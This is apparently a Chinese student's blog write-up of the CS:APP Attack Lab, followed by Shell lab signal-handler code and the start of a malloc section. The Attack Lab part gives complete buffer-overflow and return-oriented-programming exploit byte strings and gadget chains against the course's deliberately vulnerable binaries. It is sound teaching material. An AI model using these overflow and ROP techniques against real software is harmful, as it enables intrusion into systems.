打开Attack lab的文件夹，可以发现里面主要有四个文件：

ctarget 用来进行代码注入攻击
rtarget 用来进行返回值攻击
cookie.txt 是一个唯一表示的字符串，可以理解为ID，主要是CMU用来防止学生作弊互相抄答案，里面很多需要攻击的函数，都要将这个作为参数传入
hex2raw 用来将64进制Byte码变成字符串，可用来传入到需要攻击的程序中

Code Injection Attacks

这是lab的第一部分，代码注入攻击，ctarget是我们要攻击的程序，题目告诉我们ctarget里有一个叫做test的函数

void test() {
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

根据题目的意思这个函数应该是每次都会调用的，然后这个函数会调用一个不安全的getbuf函数，不检查读入的字符串的大小，也不加以任何保护，使得我们可以利用getbuf对其进行代码注入达到攻击的效果，原理如图所示：

在x86-64机器中，call Q指令会把返回地址即紧跟在call指令后的那条指令的地址压入栈中，并将程序计数器设置为Q的起始地址；对应的ret指令会从栈中弹出返回地址，并把程序计数器设置为该返回地址。被调用者Q的栈帧自栈底（高地址）到栈顶（低地址）包括了被保存的寄存器，局部变量和参数构造区。而调用者Q的栈帧自栈底到栈顶包括了参数以及返回地址。对于getbuf函数来说，不存在被保存的寄存器，在缓冲区溢出之后，溢出的字符会直接覆盖调用者栈帧中的返回地址。

phase_1

第一关要求我们让test不返回，而是getbuf后直接运行一个叫做touch1的函数，其C语言代码如下:

void test() {
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

unsigned getbuf() {
    char buf[BUFFER_SIZE];  
    Gets(buf);  
    return 1;
}

void touch1() {
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

切入点是 getbuf 函数，它调用的 Gets 函数与C库函数 gets 功能类似，但引入了一个漏洞。它为 buf 这个变量在栈中分配了空间，如果输入的字符串长度超过 BUFFER_SIZE 指定的长度，Gets 就会将多的字符数据覆盖到不属于这个 buf 变量的栈空间中（试试看 ./ ctarget 一个超长字符串 ，会报 Segment Fault）在调用函数前，会将调用结束后的下一个指令的地址存放于栈中 push %rip ，当调用函数返回时，就会从栈中取回地址并继续运行。所以我们只需要把所需函数地址注入到运行栈，将原先的返回地址覆盖掉即可，在这里就是利用 Gets 函数的漏洞，将这个地址放置于输入的字符串中。

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

将touch1用gdb反汇编，我们得出touch1的入口地址为 0x4017c0，反汇编getbuf 可以看出为了创建这个字符数组 buf 占用了40个内存地址的空间，也就是说最多只能输入40个字符，而当前的栈底部 +8 的位置就存储了此次调用结束后的返回地址。所以我们只需要将 0x4017c0 扩展成 0x004017c0，因为是64位系统，地址占据了8个地址的空间，小端法字节序反过来，所以输入时应该是 c0 17 40 00，前面还应该有40个字符，全填0就可以了，再将填好的文本用 hex2raw 将64进制Byte码变成字符串运行 ctarget 即可。

（然后我发现WSL做这个会出现 Couldn’t map stack to segment at 0x55586000 的问题，就改用了虚拟机）

root@debian:~/ipads/training/ics-lab# ./hex2raw < test.txt > phase1.txt
root@debian:~/ipads/training/ics-lab# ./ctarget -qi phase1.txt 
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40

phase_2

void touch2(unsigned val){
    vlevel = 2;
    if(val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n",val);
        validate(2);
    }
    else{
         printf("Misfire!: You called touch2(0x%.8x)\n",val);
        fail(2);
    }
    exit(0);
}

要求在 test 函数中调用 getbuf 函数返回后，进入 touch2 函数调用，同时要求不仅需要代码注入从而跳到别的函数处执行，还要在代码注入中为这个函数准备参数，也就是我们的cookie，即我们需要先把参数 %rdi 的数值设置为 0x59b997fa，再调用touch2，我们来看下touch2的汇编：

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

考虑到在ctarget中，栈地址固定以及允许在栈上执行代码，所以我们可以通过缓冲区溢出漏洞将返回地址指定到栈上，在栈上执行相应的指令，为函数touch2设置参数，最后再从栈上返回至touch2函数即可。首先我们为getbuf设置断点拿到%rsp的值：

(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /root/ipads/training/ics-lab/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12	buf.c: 没有那个文件或目录.
(gdb) stepi 2
0x00000000004017af	14	in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
=> 0x00000000004017af <+7>:	callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) info r
rsp            0x5561dc78          0x5561dc78

可以看出 ctarget 在执行 getbuf 开辟空间后 %rsp 位置在 0x5561dc78 处，那么接下来我们就可以开始具体操作了。首先把攻击代码写好，也就是先将cookie值塞入%rdi ，再 pushq touch2 后 retq 即可：

1
2
3

movq $0x59b997fa,%rdi
pushq $0x4017ec
retq

然后就其编译再反汇编得到机器码：

root@debian:~/ipads/training/ics-lab# vi phase2.s
root@debian:~/ipads/training/ics-lab# gcc -c phase2.s 
root@debian:~/ipads/training/ics-lab# objdump -d phase2.o > phase2code.txt
root@debian:~/ipads/training/ics-lab# more phase2code.txt 

phase2.o：     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq

由此我们就可以得到我们最终的文本：

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55

可以看到最后成功完成touch2的要求：

root@debian:~/ipads/training/ics-lab# ./ctarget -qi phase2.txt 
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55

phase_3

/*Compare string to hex represention of unsigned value*/
int hexmatch(unsigned val, char*sval)
{
	char cbuf[110];
	/*Make position of check string unpredictable*/
	char*s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}
void touch3(char*sval)
{
	vlevel = 3;       
	/*Part of validation protocol*/
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} 
	else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}

这和上一题类似，只是传参需要是构造的字符串首地址，我们将目标字符串通过缓冲区溢出攻击注入到栈段，并且将其首地址设置为 %rdi 即可。然后根据题目advice可以知道，调用hexmatch和strncmp函数的时候会覆盖getbuf原先使用的内存空间。因为我们是在getbuf退栈返回后调用touch3函数，所以touch3及其内部调用的hexmatch会使栈重新增长，这块区域会包括之前getbuf分配到的40个地址空间。首先我们看一眼touch3的具体情况：

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	callq  401c8d <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	callq  401d4f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	callq  400e40 <exit@plt>

所以 touch3 的地址是 0x4018fa ，然后cookie转ASCII结果为 59b997fa -> 35 39 62 39 39 37 66 61 00

汇编代码执行到touch3的时候栈顶会变成0x5561dca8，如果在小于此地址的地方写数据在执行touch3的时候会被新压入栈的数据覆写掉中，所以最后注入的代码就是：

1
2
3

movq $0x5561dca8,%rdi
pushq $0x4018fa
retq

其余操作和上一题相同，最后可以发现执行成功。

root@debian:~/ipads/training/ics-lab# ./ctarget -qi phase3.txt 
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 
FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 
62 39 39 37 66 61 00

Return Oriented Programming

这一部分是攻击rtarget这个文件，和之前不同的是rtarget有一些保护措施，例如栈地址随机化和部分栈内容是只读的，因此像ctarget一样直接注入代码是没有用的，对于这种保护措施，我们依然有方法去进行攻击，这个就是Return Oriented Programming

这种攻击方式的原理是，程序的汇编语言代码中，会出现我们需要的代码片段，并且以0xc3，也就是返回为终止，这种代码片段叫做gadget，合理利用gadget，我们就能实现return oriented programming这种攻击模式。举个例子

1
2
3

void setval_210(unsigned *p){    
    *p = 3347663060U;
}

上述这段代码，是将一个unsigned指针的值改变成一个奇怪数字，我们来观察它的汇编语言代码：

1
2
3

0000000000400f15 <setval_210>:
	400f15:       c7 07 d4 48 89 c7       movl   $0xc78948d4,(%rdi)
    400f1b:       c3                      retq

我们发现第一行是48 89 c7，这个在x86-64汇编语言中代表了movq %rax, %rdi这条语句，并且以c3也就是retq为结束，即如果我们能够让程序从400f18开始运行，则相当于运行了movq %rax, %rdi，并且返回。

我们可以利用程序本身的代码，构造出一组由不同的返回地址组成的攻击代码，每一个返回地址都指向了一个函数的最末尾的若干字节，由ret结尾。这样，程序就会按照我们设计的顺序依次执行这些代码片段，以达到修改程序行为的结果，这就是返回导向编程。这些代码片段被称作gadget，而这些gadgets共同组成了一个gadget farm。

phase_4

利用gadget实现phase2的攻击，也就是运行touch2，题目有一个提示，我们只需要用到start_farm和mid_farm中间的gadget就可以了。

我们首先观察gadget_farm中的相关gadgets，并决定其是否可以用作攻击。根据上述的思路，我们可以得到两个gadget set_val426及getval_280，它们的反汇编代码如下：

00000000004019c3 <setval_426>:  
	4019c3:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)  
	4019c9:       c3					  retq  
00000000004019ca <getval_280>:  
	4019ca:       b8 29 58 90 c3          mov    $0xc3905829,%eax  
	4019cf:       c3                      retq

setval_426中的48 89 c7 90 c3可以被解释为mov %rax,%rdi nop ret，而getval_280中的58 90 c3可以被解释为pop %rax nop ret，将这两个gadget结合，即可以得到阶段4的结果：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
cc 19 40 00 00 00 00 00 /* pop %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
c5 19 40 00 00 00 00 00 /* mov %rax,%rdi */
ec 17 40 00 00 00 00 00 /* touch2 */

phase_5

首先将rsp存入某个寄存器之中，然后再将一个特定的常量pop至另一个寄存器之中，最后将这两个值分别存入%rsi和%rdi，调用add_xy将其相加得到字符串的首地址，并将结果%rax存入%rdi之中，最后再调用函数touch3即可。受制于gadget的种类，我们可能会用到多个gadget做中转。最终的攻击代码如下：

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
06 1a 40 00 00 00 00 00 /* mov %rsp,%rax */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi <- %rax指向的地址*/
ab 19 40 00 00 00 00 00 /* pop %rax */
48 00 00 00 00 00 00 00 /* offset constant*/
dd 19 40 00 00 00 00 00 /* mov %eax,%edx */
34 1a 40 00 00 00 00 00 /* mov %edx,%ecx */
13 1a 40 00 00 00 00 00 /* mov %ecx,%esi */
d6 19 40 00 00 00 00 00 /* add_xy */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie的字符串表示 与前面保存的rsp总共差了9条语句 故常量为0x48*/00

Shell

题目要求实现一个简易的shell加强对进程控制与信号传递的理解，shell程序框架已经帮你搭建好了，只需修改 tsh.c 文件完成以下六个函数，修改后记得用 make 编译一下：

eval: 主要对命令行进行分词并执行指令
builtin_cmd: 检查是否为内置指令
do_bgfg: 执行fg、bg指令
waitfg: 等待fg指令执行完毕
sigchld_handler: SIGCHLD信号处理函数
sigint_handler: SIGINT信号处理函数（ctrl-c）
sigtstp_handler: SIGTSTP信号处理函数（ctrl-z）

前置知识

信号

信号是一种消息，用来通知进程发生了某种事件

类似于(akin to)异常和中断，这个消息是从内核发送至一个进程（有时是应另一个进程的要求）
信号类型是1~30的编号，信号传递的唯一信息是它的信号ID和它到达的事实。
发送信号的原因：
- 内核检测到一个系统事件，如Ctrl-C（SIGINT），除零（SIGFPE），或一个子进程的终止（SIGCHLD）
另一个进程调用了kill函数（kill函数是发送信号的函数，不要误认为是kill进程的函数）
- 当一个目标进程被内核强迫以某种方式对信号的传递做出反应时，它就会接收一个信号
接收信号是不排队的（信号存储是一个位图，每一位代表一种信号，所以多个同种信号也只会存一次）
- 信号接收的时间：上下文切换（上下文切换的时候，本来执行进程A，内核态准备切换到进程B执行时，会去检查是否有收到信号，并去处理）
对信号的三种反应：忽略信号、终止进程、捕捉这个信号，执行用户级的信号处理程序（类似于硬件异常处理程序被调用以响应异步中断）
阻塞信号：有时代码需要运行在一个不能被中断的部分，用sigprocmask()函数实现
等待信号：有时，我们想暂停执行，直到得到一个特定的信号，用sigsuspend()实现
SIGKILL and SIGSTOP不能被改变反应行为

步骤流程

01

stardust@LAPTOP-4IJ6JI22:/mnt/e/Program/ipads/training/ics-lab$ make
gcc -Wall -O2    tsh.c   -o tsh
gcc -Wall -O2    myspin.c   -o myspin
gcc -Wall -O2    mysplit.c   -o mysplit
gcc -Wall -O2    mystop.c   -o mystop
gcc -Wall -O2    myint.c   -o myint
stardust@LAPTOP-4IJ6JI22:/mnt/e/Program/ipads/training/ics-lab$ make test01
./sdriver.pl -t trace01.txt -s ./tsh -a "-p"
#
# trace01.txt - Properly terminate on EOF.
#

看起来没有什么问题，我们来进行下一步试试。

02

stardust@LAPTOP-4IJ6JI22:/mnt/e/Program/ipads/training/ics-lab$ make test02
./sdriver.pl -t trace02.txt -s ./tsh -a "-p"
#
# trace02.txt - Process builtin quit command.
#

我们发现程序卡在了这一步上，于是我们打开 trace02 发现有一条 quit 指令没执行，然后发现eval和builtin_command函数空空如也，于是就开始照搬一下书上P525的代码：

void eval(char *cmdline) 
{
    char *argv[MAXLINE];    /* Argument list execve() */
    char buf[MAXLINE];      /* Hold modified commend line */
    int bg;                 /* Should the job run in bg or fg? */
    pid_t pid;
    
    strcpy(buf,cmdline);		
    bg=parseline(cmdline,argv);	
    if(argv[0]==0)
        return ;    /* ignore empty line */
    
    if(!builtin_cmd(argv)) {
        if((pid=fork())==0) {
            /* child runs user job */
            if (execve(argv[0], argv, environ) < 0) // if execve error return 0
            {
                printf("%s: Command not found\n", argv[0]);
                exit(0);
            }
        }
        if (!bg) {
            int status;
            if (waitpid(pid, &status, 0) < 0)
                unix_error("waitfg: waitpid error");
        }
        else
            printf("%d %s", pid, cmdline);
    }
    return;
}

int builtin_cmd(char **argv) 
{
    if(!strcmp(argv[0],"quit")) exit(0);
    if(!strcmp(argv[0],"&")) return 1;
    return 0;     /* not a builtin command */
}

然后 make 一下发现运行ok无误，于是开始下一个，发现03和04都没有问题，直到05开始。

05

#
# trace05.txt - Process jobs builtin command.
#
/bin/echo -e tsh> ./myspin 2 \046
./myspin 2 &

/bin/echo -e tsh> ./myspin 3 \046
./myspin 3 &

/bin/echo tsh> jobs
jobs

到了05的时候，我们发现jobs这个命令需要我们自己实现，我们首先要在builtin_cmd函数中，加入对jobs指令的检测，接着调用listjobs(jobs);（这个函数是lab里给你写好的，直接用就好了）

/\ listjobs - Print the job list */
void listjobs(struct job_t jobs)

如果要调用该函数，job list也必须进行相应的改变，这一实现必须在eval的父进程中实现。思路是每执行一个任务，就在job list中添加一项，每结束一个任务，就将对应pid的任务在list中删除。在访问全局变量以及创建子进程的过程中需要将SIGCHLD信号进行阻塞，否则会发生意想不到的错误（因为僵尸进程的SIGCHLD信号，导致先运行deletejob再运行addjob产生意外错误）这里代码我们可以参考书本543页的示例，在fork前阻塞SIGCHLD信号，然后在调用addjob之后取消阻塞这种信号，保证了子进程在被加到job list之后回收该子进程。TIPS，子进程继承了其父进程的被阻塞set，所以要在调用exec前解除子进程被阻塞的SIGCHLD信号。

1
2
3
> #include <signal.h>
> int sigprocmask( int how, const sigset_t *restrict set, sigset_t *restrict oset );
>
一个进程的信号屏蔽字规定了当前阻塞而不能递送给该进程的信号集。调用函数sigprocmask可以检测或更改其信号屏蔽字，不能阻塞SIGKILL和SIGSTOP信号。返回值：若成功则返回0，若出错则返回-1
若oset是非空指针，那么进程的当前信号屏蔽字通过oset返回。
若set是一个非空指针，则参数how指示如何修改当前信号屏蔽字。

how 说明

SIG_BLOCK 该进程新的信号屏蔽字是其当前信号屏蔽字和set指向信号集的并集。set包含了我们希望阻塞的附加信号

SIG_UNBLOCK 该进程新的信号屏蔽字是其当前信号屏蔽字和set所指向信号集补集的交集。set包含了我希望解除阻塞的信号

SIG_SETMASK 该进程新的信号屏蔽字将被set指向的信号集的值代替

由此来举例子就是，sigprocmask(SIG_BLOCK, &mask_one, &prev_one)因为maskone我们之前赋了SIGCHLD值，所以这句会直接让当前进程屏蔽SIGCHLD信号，并用prevone保存当前信号集，这样之后就刻意用sigprocmask(SIG_SETMASK, &prev_one, NULL)来取消之前的阻塞。

how	说明
SIG_BLOCK	该进程新的信号屏蔽字是其当前信号屏蔽字和set指向信号集的并集。set包含了我们希望阻塞的附加信号
SIG_UNBLOCK	该进程新的信号屏蔽字是其当前信号屏蔽字和set所指向信号集补集的交集。set包含了我希望解除阻塞的信号
SIG_SETMASK	该进程新的信号屏蔽字将被set指向的信号集的值代替

由此，我们可以将lab所给的函数完善一下：

void eval(char *cmdline) 
{
    char *argv[MAXLINE];    /*Argument list execve()*/
    char buf[MAXLINE];      /*Hold modified commend line*/
    int bg;                 /*Should the job run in bg or fg?*/
    pid_t pid;
    int state;
    sigset_t mask_all, mask_one, prev_one;
    strcpy(buf,cmdline);
    bg=parseline(cmdline,argv);
    if(argv[0]==0) 
        return ;
    if(!builtin_cmd(argv)){
        sigfillset(&mask_all);
        sigemptyset(&mask_one);
        sigaddset(&mask_one, SIGCHLD);
        sigprocmask(SIG_BLOCK, &mask_one, &prev_one); //Block SIGCHLD

        if((pid=fork())==0) {
            sigprocmask(SIG_SETMASK, &prev_one, NULL); //UnBlock SIGCHLD
            if (setpgid(0, 0) < 0) {
                perror("SETPGID ERROR");
                exit(0);
            }
            if (execve(argv[0], argv, environ) < 0) {
                printf("%s: Command not found\n", argv[0]);
                exit(0);
            }
        } else {
            state = bg ? BG : FG;
            sigprocmask(SIG_BLOCK, &mask_all, NULL); //parent process
            addjob(jobs, pid, state, cmdline);
            sigprocmask(SIG_SETMASK, &prev_one, NULL); //unblock SIGCHLD
      }
        bg?printf("[%d] (%d) %s",pid2jid(pid), pid, cmdline):waitpid(pid, NULL, 0);
    }
    return;
}

int builtin_cmd(char **argv) 
{
    if (!strcmp(argv[0],"quit")) exit(0);
    if (!strcmp(argv[0],"&")) return 1;
    if (!strcmp(argv[0],"jobs")) {	
        listjobs(jobs);
        return 1;
    }
    return 0;     /* not a builtin command */
}

void sigchld_handler(int sig) 
{
    int olderrno = errno;	
    pid_t pid;
    int status;
    sigset_t mask_all, prev;

    sigfillset(&mask_all);
    while((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0) {
        if (WIFEXITED(status)) {
            sigprocmask(SIG_BLOCK, &mask_all, &prev);
            deletejob(jobs, pid);	
            sigprocmask(SIG_SETMASK, &prev, NULL);
        }
    }
    errno = olderrno;
    return;
}

这一步其实工作量还是挺大的，需要仔细看下书本的内容（听听b站的网课）最后运行一下：

stardust@LAPTOP-4IJ6JI22:/mnt/e/Program/ipads/training/ics-lab$ make test05
./sdriver.pl -t trace05.txt -s ./tsh -a "-p"
#
# trace05.txt - Process jobs builtin command.
#
tsh> ./myspin 2 &
[1] (317) ./myspin 2 &
tsh> ./myspin 3 &
[2] (319) ./myspin 3 &
tsh> jobs
[1] (317) Running ./myspin 2 &
[2] (319) Running ./myspin 3 &

06

这个就是实现处理sigint信号的handler函数，同时要修改一下sigchld_handler函数：

关于int kill(pid_t pid, int sig)函数，pid可能的选择有以下四种：

pid大于零时，pid是信号欲送往的进程的标识

pid等于零时，信号将送往所有与调用kill()的那个进程属同一个使用组的进程

pid等于-1时，信号将送往所有调用进程有权给其发送信号的进程，除了进程1(init)

pid小于-1时，信号将送往以-pid为组标识的进程

void sigint_handler(int sig) 
{
    int old_errno = errno;
    pid_t pid = fgpid(jobs);
    if (pid != 0) 
        kill(-pid,sig);
    errno = old_errno; 
}

void sigchld_handler(int sig) 
{
    int olderrno = errno;	
    pid_t pid;
    int status;
    sigset_t mask_all, prev;

    sigfillset(&mask_all);
    while((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0) {
        
        if (WIFEXITED(status)) {
            sigprocmask(SIG_BLOCK, &mask_all, &prev);
            deletejob(jobs, pid);	
            sigprocmask(SIG_SETMASK, &prev, NULL);
        } else if (WIFSIGNALED(status)) {
            struct job_t* job = getjobpid(jobs, pid);
            sigprocmask(SIG_BLOCK, &mask_all, &prev);
            printf("Job [%d] (%d) terminated by signal %d\n", job->jid, job->pid, WTERMSIG(status));
            deletejob(jobs, pid);
            sigprocmask(SIG_SETMASK, &prev, NULL);
        }
    }
    errno = olderrno;
    return;
}

然后来让我们运行一下：

stardust@LAPTOP-4IJ6JI22:/mnt/e/Program/ipads/training/ics-lab$ make test06
./sdriver.pl -t trace06.txt -s ./tsh -a "-p"
#
# trace06.txt - Forward SIGINT to foreground job.
#
tsh> ./myspin 4
Job [1] (332) terminated by signal 2

08

这个和上面差不多，完善一下处理SIGTSTP信号的函数，补充一下对应的SIGCHLD部分：

void sigtstp_handler(int sig) 
{
    int old_errno = errno;
    pid_t pid = fgpid(jobs);
    if (pid != 0) 
        kill(-pid,sig);
    errno = old_errno; 
}

void sigchld_handler(int sig) 
{

    int olderrno = errno;	
    pid_t pid;
    int status;
    sigset_t mask_all, prev;

    sigfillset(&mask_all);
    while((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0) {
        
        if (WIFEXITED(status)) {
            sigprocmask(SIG_BLOCK, &mask_all, &prev);
            deletejob(jobs, pid);	
            sigprocmask(SIG_SETMASK, &prev, NULL);
        } else if (WIFSIGNALED(status)) {
            struct job_t* job = getjobpid(jobs, pid);
            sigprocmask(SIG_BLOCK, &mask_all, &prev);
            printf("Job [%d] (%d) terminated by signal %d\n", job->jid, job->pid, WTERMSIG(status));
            deletejob(jobs, pid);
            sigprocmask(SIG_SETMASK, &prev, NULL);
        } else {
            struct job_t* job = getjobpid(jobs, pid);
            sigprocmask(SIG_BLOCK, &mask_all, &prev);
            printf("Job [%d] (%d) stopped by signal %d\n", job->jid, job->pid, WSTOPSIG(status));
            job->state= ST;
            sigprocmask(SIG_SETMASK, &prev, NULL);
        }
    }
    errno = olderrno;
    return;
}

09

完成 bg 和 fg 对应的函数：

bg命令是先kill一个SIGCONT指令（SIGCONT用于继续进程），让暂停的进程继续，然后将job的state变成BG，再打印出来，然后就任由其在后台执行了。

fg命令是先kill一个SIGCONT让暂停的进程继续，然后将job的state变成FG再waitfg去等待这个前台执行完成。

void do_bgfg(char **argv) 
{
    struct  job_t *job;
    int id;
    if(argv[1]==NULL) { 
        printf("%s command requires PID or %%jobid argument\n", argv[0]);
        return ;
    }
    if (sscanf(argv[1], "%%%d", &id) > 0) {
        job = getjobjid(jobs, id);
        if (job == NULL) {
            printf("%%%d: No such job\n", id);
            return ;
        }
    } else if (sscanf(argv[1], "%d", &id) > 0) {
        job = getjobpid(jobs, id);
        if (job == NULL) {
            printf("(%d): No such process\n", id);
            return ;
        }
    } else {
        printf("%s: argument must be a PID or %%jobid\n", argv[0]);
        return;
    }
    
    if(!strcmp(argv[0], "bg")) {
        kill(-(job->pid), SIGCONT); 
        job->state = BG;
        printf("[%d] (%d) %s",job->jid, job->pid, job->cmdline);
    } else {
        kill(-(job->pid), SIGCONT); 
        job->state = FG;
        waitfg(job->pid);
    }
    return;
}

void waitfg(pid_t pid)
{
    sigset_t mask;
    sigemptyset(&mask);
    while (fgpid(jobs) > 0)
        sigsuspend(&mask);
    return;
}

运行一下试试：

stardust@LAPTOP-4IJ6JI22:/mnt/e/Program/ipads/training/ics-lab$ make test09
./sdriver.pl -t trace09.txt -s ./tsh -a "-p"
#
# trace09.txt - Process bg builtin command
#
tsh> ./myspin 4 &
[1] (385) ./myspin 4 &
tsh> ./myspin 5
Job [2] (387) stopped by signal 20
tsh> jobs
[1] (385) Running ./myspin 4 &
[2] (387) Stopped ./myspin 5
tsh> bg %2
[2] (387) ./myspin 5
tsh> jobs
[1] (385) Running ./myspin 4 &
[2] (387) Running ./myspin 5

主要功能实现就是跟着test01~test10，这样就可以完成所有函数的补充了，确实对信号机制理解深很多。

Malloc

前置知识

三种适配方式：

fitst fit：最为直接的办法。扫描所有的块，只要当前块的大小满足要求就使用，速度较快。但容易导致空闲列表中前面的块被不断地细分，而后面的一些块却一直迟迟得不到利用。
next fit：扫描的时候，每次从上一次扫描的下一个块开始，这样可以使得整个列表的块都可以被使用，这使得效率更高。然而，实际应用中，作用也很有限，容易产生很大的空间浪费，造成大量碎片。
